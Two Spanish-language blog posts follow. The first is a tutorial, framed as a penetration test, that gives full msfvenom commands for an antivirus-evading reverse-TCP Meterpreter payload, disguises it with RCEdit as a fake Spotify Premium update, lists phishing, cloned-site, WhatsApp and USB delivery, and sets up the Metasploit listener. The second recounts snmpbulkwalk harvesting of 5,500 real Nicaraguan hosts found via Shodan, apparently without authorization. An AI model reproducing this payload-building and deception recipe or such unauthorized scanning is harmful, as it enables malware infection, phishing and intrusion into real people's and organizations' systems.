Ingeniería Social y Payloads Maliciosos: Técnicas Avanzadas y Acceso Remoto para Pruebas de Seguridad

En este tutorial podré en uso técnicas de ingeniería social para obtener acceso remoto a una máquina víctima y establecer una sesión de Meterpreter mediante un payload malicioso generado con msfvenom en Kali Linux, también utilizaré RCEDIT en Windows para modificar el ícono del payload, haciendo que sea más convincente para el usuario objetivo de esta prueba de seguridad.

Generación del Payload con Msfvenom

Usaré msfvenom para crear un payload ofuscado (ofuscación mínima) que ejecutaré luego en la máquina víctima. 

kali@kali# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.14 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o payload.exe –platform Windows –arch x86

A continuación una breve explicacion de los parametros utilizados para crear el payload:

  • -p windows/meterpreter/reverse_tcp: Este payload establece una conexión inversa desde la víctima hacia el atacante, ideal para situaciones donde la víctima está detrás de un firewall o NAT.
  • LHOST y LPORT: Define la IP y puerto del atacante que recibirá la conexión inversa.
  • -e x86/shikata_ga_nai: Encoder para ofuscar el payload, haciéndolo más difícil de detectar por Antivirus, IDS, EDR, etc.
  • -i 10: Indica el número de iteraciones de codificación para incrementar la ofuscación (pueden ser tantas como dees).
  • -f exe: El formato de salida será un ejecutable para Windows “exe”.
  • -o payload.exe: El nombre y formato de salida del payload malicioso (Debe incluir el “.exe” aún que esté ya definido).
  • –platform Windows –arch x86: Especifica que el payload está dirigido a una plataforma Windows con arquitectura x86 (32 bits).

Añadiendo una Capa Extra de Ingeniería Social: Modificación de Iconos con RCEDIT

Una vez generado el payload, es crucial adaptar su presentación para que pase desapercibido en el sistema de la víctima. Como parte de mi estrategia de ingeniería social, voy a renombrar el archivo según el contexto de la víctima y personalizar su icono para hacerlo parecer legítimo. Este paso le añade una capa adicional de engaño, aumentando la probabilidad de que el objetivo ejecute el archivo. 

¿Qué es RCEdit?

Es una utilidad diseñada para modificar los metadatos de un archivo “.exe”.  Tambien me permite cambiar aspectos como el nombre de la aplicación, la versión, y lo más impornate para este caso, el ícono que se mostrará cuando el archivo sea visualizado en el sistema operativo Windows.

Esta personalización es crucial para engañar a la víctima y aumentar la efectividad del ataque en pruebas de penetración.

Descarga RCEDIT desde Github: https://github.com/electron/rcedit/releases

Aplicación del Ícono al Payload con RCEdit

Con el ícono adecuado, el ejecutable de rcedit descargado desde GitHub y el payload listo, voy a proceder a realizar la personalización final… modificar el payload y agregar el ícono. En este caso utilizaré el icono de spotify para esta prueba de seguridad, al ser una aplicación popular, puede pasar como una actualización de la aplicación en la computadora víctima.

Elegí Spotify como icono bajo el siguiente escenario: “En el estudio del usuario victima, a este le encanta escuchar spotify, información que se puedo recopilar atraves de OSINT en redes sociales donde en fotografías del usuario víctima en su centro de trabajo, se logra ver que en la pantalla de su computadora esta reproduccioendo Spotify como aplicacion instalada en la compuadora, para lo cual le haremos llegar una actualizaición para su plan Premium”

Abrimos un terminal en la ruta donde tenemos los archivos en Windows y ejecutamos el siguiente comando

PS C:\Ruta_de_usuario> ./rcedit-x86.exe “payload.exe” –set-icon “spotify.ico”

Una vez terminado el proceso, nos mostrará el payload con el icono que acabamos de agregar. Lo que resta es cambiar el nombre del payload para hacerlo más atractivo para el usuario víctima de la prueba de seguridad. En este caso unicamente utilizaré el nombre Spotify, pero podria ser spotify_update_plan_premium, un ejemplo de agregar mas credibilidad al payload.

Métodos para Entregar el Payload a la Víctima

Existen diversas maneras de hacer llegar el payload malicioso a la víctima, y en este punto es crucial aplicar los conocimientos obtenidos durante la fase de investigación y análisis del objetivo. Cada método de la prueba debe adaptarse a las circunstancias del entorno de la víctima, aprovechando las vulnerabilidades identificadas y garantizando que el payload sea ejecutado.

  • Envío por Correo Electrónico con Ingeniería Social
    Se puede crear un correo convincente como un mensaje de confianza del desarrollador de la aplicación, solicitando la actualización de la misma mediante el archivo adjunto, que en este caso es el payload.
  • Descarga desde Sitio Web
    Otra técnica es crear una copia del sitio web legítimo con un enlace para la descarga del payload cuando el usuario accede al sitio, haciéndo se pasar por soporte técnico de la aplicación, metodo el cual tambien podria realizarce via correo electronico, mensaje de texto o WhatsApp.
  • Uso de Dispositivo USB
    Facilitar y/o hacer llegar el payload a través de una USB, este punto requiere un acercamiento más directo a la victima, proceso que va a depender de las circunstancias en las que se realiza la prueba de seguridad.

Estos son algunos métodos que pueden ser viables al realizar esta prueba de seguridad. El conocimiento que tengamos sobre el objetivo de la prueba y el perfil del sujeto al que se dirigirá el ataque son factores determinantes en la efectividad de estos métodos.

Para continuar con la prueba de seguridad, hago la configuracion del dispositivo atacante Kali Linux donde establezco el equipo en modo escucha utilizando Metasploit Framework.

kali@kali# msfconsole
msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.0.14
msf6 > set LPORT 4444

Ahora procedo a iniciar el listener

msf6 > exploit

Una vez ejecutan el payload en el equipo víctima, se inicia la conexión remota estableciendo la sesión meterpreter a través de la cual podo continuar con los procesos post-explotación.

En este tutorial he explorado el uso de técnicas de ingeniería social para obtener acceso remoto a una máquina víctima mediante un payload malicioso creado con msfvenom. Comencé generando un payload ofuscado que establece una conexión inversa hacia el equipo atacante. 

Luego, apliqué RCEdit para modificar el icono del payload, haciéndolo parecer más legítimo y aumentando las posibilidades de que la víctima lo ejecute. Mostré unos metodos de entrega, incluyendo el uso de correos electrónicos convincentes, descargas desde sitios web y la entrega directa a través de dispositivos USB.

Establecí Metasploit para recibir la conexión desde el payload. Al ejecutar el payload en la máquina víctima, se estableció la sesión Meterpreter, permitiendo llevar a cabo acciones post-explotación.

Este enfoque demuestra cómo combinar habilidades técnicas y estrategias de ingeniería social para realizar pruebas de penetración efectivas.

14 mil servicios SNMP activos en Nicaragua: Análisis a 5,500 dispositivos en busca de exposición de información sensible

Antes de empezar, los invito a visitar mis estudios anteriores en exploit505.blogspot.com mientras realizo la migración completa.

Explorando SNMP: ¿Qué es y por qué es importante?

SNMP (Simple Network Management Protocol) es un protocolo que opera bajo un modelo cliente-servidor, diseñado para administrar y supervisar dispositivos en una red como routers, switches, servidores e impresoras ademas, facilita la recopilación de información y la modificación de configuraciones en estos dispositivos.

Las versiones de SNMP incluyen SNMPv1, SNMPv2 y la más reciente, SNMPv3 que mejora la seguridad mediante autenticación y cifrado de mensajes, a diferencia de las versiones anteriores donde los mensajes viajan en texto plano sin cifrado.

Parte de los Riesgos de Exponer el Servicio SNMP en Internet es que un atacante podría obtener acceso a datos confidenciales de la red como la topología, configuraciones específicas de dispositivos y otros detalles operativos comprometiendo la seguridad de la infraestructura y generando vulnerabilidades que podrían ser explotadas en el futuro.

SNMP Activo en Nicaragua: Análisis de 5,500 Dispositivos en Busca de SNMP Expuesto en Internet:

Actualmente (DIC-2023) Shodan muestra +48 mil servicios activos para Nicaragua en su base de datos, de estos, +14 mil servicios están activos en el puerto 161, puerto default para el protocolo SNMP, esto me llamó mucho la curiosidad ya que sobrepasa por +9 mil comparado con otros puertos y servicios activos a nivel nacional.

+48 mil servicios activos en Nicaragua según Shodan
+14 mil servicios SNMP activos en Nicaragua según Shodan

Investigando información sobre vulnerabilidades y servicios maliciosos relacionados al puerto 161, encontré un artículo relevante sobre SNMP, un post de Deral Heiland para realizar harvesting en SNMP activos.

SNMP Data Harvesting During Penetration Testing

En este artículo, el autor utiliza un script en Perl para ejecutar un comando snmpbulkwalk en cada host que exponga SNMP en el puerto 161. Cuando encuentra un dispositivo con SNMP habilitado con la community string “public”, el script recorre todas las tablas MIB, recopila los datos y los almacena en un archivo.

Me pareció fascinante replicar esto en Python, basándome en el script original de Heiland disponible en Github.

El core del codigo en Python responsable de ejecutar snmpbulkwalk sobre cada direcci'ón iPv4

Una vez hice el test del código, procedí a crear un codigo en Python para extraer todas las direcciones IP atravez de la API de Shodan, la cual únicamente me permitió extraer 5,500 direcciones IPv4 de +14 mil dispositivos activos.

Script en Python para extraer las direcciones IPv4 de los dispositivos activos en el puerto 161 SNMP vía Shodan API

Ya con las 5,500 direcciones IPv4 activas con SNMP, procedí a ejecutar el script snm.py (snmpbulkwalk) considerando todos los riesgos legales y utilizando una VPN, buscando acceso a lectura de información mediante la community string “Public”.

El resultado total fueron 120 dispositivos que pude tener acceso mediante la community string “public”

 
Script ejecutando snmpbulkwalk a 5,500 dispositivos activos en Nicargua
Archivos almacenados como resultados de las solicitudes con snmpbulkwalk

Dentro de los archivos hay un serie de valores de carácter jerárquico los cuales identifican un valor asignado o una propiedad del dispositivo administrado vía SNMP, como por ejemplo los dispositivos conectados a la red LAN o WiFi, las interfaces de red activas, dirección MAC de dispositivos conectados y muchísima más informacion de valor.

 
Información almacenada en el archivo de cada servicio SNMP activo con Community string "Public"
Información almacenada en el archivo de cada servicio SNMP activo con Community string "Public"

No voy a adentrarme en la información recopilada de cada dispositivo con SNMP activo, si nó, en el nombre de identificación de cada dispositivo para tener una visual de cuales son las compañías que están en riesgo por filtrar información sensible

Lista de dispositivos con información disponible a internet mediante SNMP
Lista de dispositivos con información disponible a internet mediante SNMP

Como resultado de de este estudio sobre la exposición de servicios SNMP a través de internet en Nicaragua, logré analizar 5,500 dispositivos y de este considerable conjunto, únicamente 120 dispositivos arrojaron resultados positivos al utilizar la community string “Public”. Es esencial destacar que estos dispositivos pertenecen a diversas compañías de capital nicaragüense y extranjero, así como a organizaciones gubernamentales, particulares, servicios de cajeros automáticos (ATM), corporaciones y hoteles, entre otros.

Este hallazgo pone de manifiesto la vulnerabilidad de un amplio espectro de entidades ante posibles amenazas, al exponerse mediante el uso de una community string tan genérica como “Public”, en vista de estos resultados, se hace evidente la necesidad de considerar la migración a SNMPv3 para aquellos que gestionan dispositivos de forma remota. SNMPv3 ofrece capas adicionales de seguridad, incluida la identificación de usuario y la encriptación de datos, proporcionando así una solución más robusta en comparación con las versiones anteriores.

Adicionalmente, es importante implementar contraseñas sólidas al configurar servicios SNMP ya que son susceptibles a ataques de fuerza bruta, el uso de contraseñas seguras es fundamental para mitigar posibles riesgos. La exposición de servicios SNMP en Internet, como el mencionado anteriormente, deber ser tomada con extrema seriedad, dada la sensibilidad y la criticidad de los datos y dispositivos alcanzados y sin ningun tipo de seguridad.